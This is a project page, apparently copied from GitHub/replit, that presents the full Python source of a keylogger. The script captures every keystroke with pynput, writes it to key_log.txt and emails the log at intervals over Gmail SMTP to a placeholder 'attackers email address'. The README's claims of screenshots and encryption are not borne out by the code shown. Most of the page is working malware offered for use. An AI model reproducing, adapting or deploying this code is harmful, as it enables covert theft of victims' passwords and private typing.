Notes

Advanced_Keylogger.py

Introduction
This is an advanced keylogger script created in Python by Anthony Constant. The script allows the user to monitor keystrokes on a keyboard and capture screenshots of the computer monitor. The script is also able to encrypt the data it captures and send it to a specified email address.

How It Works
This keylogger script uses the pynput library to control and monitor devices, and it uses the PIL library to take screenshots.

The script logs each key typed on the keyboard and saves it to a text file called key_log.txt.The script also takes screenshots of the computer monitor and saves them to image files.

The script then encrypts the data it captures using the cryptography library and sends it to a specified email address using the SMTP protocol.

Usage
To use this keylogger script, you will need to have Python installed on your computer.

Once you have Python installed, you can download the script and run it in your terminal or IDE.

You will need to provide a few parameters for the script to run:

- email_address: The email address that you want to send the key log to
- password: The password for the email account toaddr: The email address that you want to send the key log to
- file_path: The file path where you want to save the key log and screenshots
- time_iteration: The amount of time, in seconds, between each email sent
- number_of_iterations_end: The number of times the email should be sent

Once you have provided these parameters, you can run the script and it will begin monitoring keystrokes and capturing screenshots. The data will be encrypted and sent to the specified email address at the specified intervals.

References
https://www.kaspersky.co.uk/resource-center/definitions/keylogger

Credits
This script was created by Anthony Constant (AC). If you have any questions or suggestions, you can contact him at anthonyconstant.co.uk/

License

REPL.IT
Share Link: https://replit.com/@Ant94x/Advanced-Keylogger?v=1

GitHub
Share Link: https://github.com/Anthony-Constant/Advanced-Keylogger

PYTHON COPY & PASTED LOCAL SOURCE CODE

```
# Advanced_Keylogger.py
# Created an Advanced Keylogger script in Python
# Author: Anthony Constant (AC)

################################## SOME NOTES ########################################

## This is an advanced keylogger script created in Python by Anthony Constant.
## The script allows the user to monitor keystrokes on a keyboard and capture screenshots of the computer monitor.
## The script is also able to encrypt the data it captures and send it to a specified email address.

######################### HOW DOES IT WORK ###############################################

## This keylogger script uses the pynput library to control and monitor devices, and it uses the PIL library to take screenshots.
## The script logs each key typed on the keyboard and saves it to a text file called key_log.txt.
## The script also takes screenshots of the computer monitor and saves them to image files.
## The script then encrypts the data it captures using the cryptography library and sends it to a specified email address using the SMTP
protocol.

######################### USAGE ##############################################

##To use this keylogger script, you will need to have Python installed on your computer. Once you have Python installed, you can download
the script and run it in your terminal or IDE. You will need to provide a few parameters for the script to run:

## email_address: The email address that you want to send the key log to
## password: The password for the email account
## toaddr: The email address that you want to send the key log to
## file_path: The file path where you want to save the key log and screenshots
## time_iteration: The amount of time, in seconds, between each email sent
## number_of_iterations_end: The number of times the email should be sent
## Once you have provided these parameters, you can run the script and it will begin monitoring keystrokes and capturing screenshots. The
data will be encrypted and sent to the specified email address at the specified intervals.

############################## REFERENCES ###################################################
```

```
## https://www.kaspersky.co.uk/resource-center/definitions/keylogger
## https://www.kaspersky.co.uk/resource-center/definitions/keylogger
## https://pypi.org/project/pynput/
## https://pillow.readthedocs.io/en/stable/
## https://cryptography.io/en/latest/


## Libraries

from email.mime.multipart import MIMEMultipart ## plugin used for SMTP
from email.mime.text import MIMEText ## plugin used for SMTP
from email.mime.base import MIMEBase ## plugin used for SMTP
from email import encoders ## plugin used for SMTP
import smtplib
import socket
import platform
import pynput # import pynput plugin to control and monitor devices.
from pynput.keyboard import Key, Listener ## the key will log the keys and the listener will listen out for each key typed on the
keyboard.
import time ## import time for timer function
import os ## import OS to get machine information
from scipy.io.wavfile import write ## import scipy to get audio information
from cryptography.fernet import Fernet ## import cryprography to encrypt/decrypt
import getpass
from requests import get
from multiprocessing import Process, freeze_support
from PIL import ImageGrab ## import PIL ImageGrab to take a screenshot.


time_iteration = 10 # specify the timer to every 10 seconds to send the log.txt file to the specified email address.
number_of_iterations_end = 3 ## specify the amount of times the email is sent included with the log.txt file.

## DEFAULT CONTROLLER
key_information = "key_log.txt" ## create a global variable called key_information. (Instead of writing key_log.txt each time.)
email_address = "place the attackers email address here" ## create default email address to send 'from'
password = "place the attackers email address passowrd here" ## password for the email account.
toaddr = "place the attackers email address here"
```

```
file_path = "C:\\Users\\acons\\Desktop" ## create a file_path of the keylogger. Add double blackslash for the escape sequence.
extend = "\\"  ## allows us to add an extension at the end of the file path and add key_log.txt

count = 0 # every so many keys save it to log file.
keys = [] ## create an empty list called keys.


## EMAIL CONTROLLER
def send_email(filename, attachment, toaddr): ## create a function called 'send_email' and send the filename, attachment and, to address.



    fromaddr = 'place the attackers email address here' ## the email address which is sent from.

    msg = MIMEMultipart() ## allows to format and incoporate the attachments in the parameters.

    msg['From'] = fromaddr ## use whatever is stored in the fromaddr variable.

    msg['To'] = toaddr ## use whatever is stored in the toaddr variable from the parameter.

    msg['Subject'] = "Log File" ## set "Log File" as the email subject.

    body = "Body_of_the_mail" ## create the body of the email.

    msg.attach(MIMEText(body, 'plain')) ## attach the body to the message followed by multi internet mime text and plain format.

    filename = filename ##
    attachment = open(attachment, 'rb') ## open the attach and read the binary using 'rb'.

    p = MIMEBase('application', 'octet-stream') ## create the MIME base using the default settings.

    p.set_payload((attachment).read()) ## encode the message attachments followed by read to read the attachments

    encoders.encode_base64(p) ## finish encoding it with base64
```

```
    p.add_header('Content-Disposition', "attachment; filename= %s" % filename)  ## add the header followed by the attachment and filename.

    msg.attach(p) ## attatch p to the message

    s = smtplib.SMTP('smtp.gmail.com', 587) ## create the SMTP session followed by the SMTP server and port 587 for this purpose.

    s.starttls() ## secure with tls session

    s.login(fromaddr, password) ## login to email address with fromaddr and password variables.

    text = msg.as_string() ## convert the multipart message into a string in order to send.

    s.sendmail(fromaddr, toaddr, text) ## send the email followed by the fromaddr, toaddr, and text variable.

    s.quit() ## quit session



number_of_iterations = 0 ## basic value for the counter
currentTime = time.time() ## get current time
stoppingTime = time.time() + time_iteration ## add the current time with the stopping time.



while number_of_iterations < number_of_iterations_end:

    def on_press(key): # create on press function passing the key as the parameter.
        global keys, count, currentTime # create global variables keys and count. Also add the currentTime variable in 'on_press' function

        keys.append(key)
        count += 1
        currentTime = time.time() # everytime a key is pressed we have the current time being queried.



        print(" {0} pressed".format(key)) # print key being pressed and used .format to format it.

        if count >= 1: # save after x amount of times a button is pressed.
            count = 0
```

```
            write_file(keys)
            keys = []

    def write_file(key): # create a function to write key being pressed to a specified file. # "af f" sets it into append mode.
        with open(file_path + extend + key_information, "a") as f: ## with open we need the file_path and extension with key information
then "a" to append.
            for key in keys: # loop through all the keys and write them into a file.
                k = str(key).replace("'", "") # replace and remove '  marks in log.txt file.
                if k.find("space") > 0:
                    f.write('\n') # create new line
                elif k.find("Key") == -1: ## check the value of each key and write it.
                    f.write(k)




    def on_release(key): # create on release function passing the key as the parameter.
            if key == Key.esc: # exit keylogger after hitting escape 'esc'.
                return False
            if currentTime > stoppingTime: ## create a new exit statement here if the currentTime is greater than the stoppingTime exit
the program.
                return False

    with Listener(on_press=on_press, on_release=on_release) as listener: # on_press detects when a key is being pressed and on_release
detects when a key is being released.
        listener.join() # constantly keeps running this loop until break out of it.

    ## this function is to stop all other functions outside of the keylog functions. i.e. SMTP
    if currentTime > stoppingTime:

        with open(file_path + extend + key_information, "a") as f: ## use "w" to overwrite the contents of the previous log.txt file to
clear it.
            f.write(" ") ## clear with and set as empty. Append the empty string to the file and clear all previous contents.

            send_email(key_information, file_path + extend + key_information, toaddr) ## create an instance and send the email followed by
the relevant variables.

            number_of_iterations += 1
```

```
        currentTime = time.time()
        stoppingTime = time.time() + time_iteration
```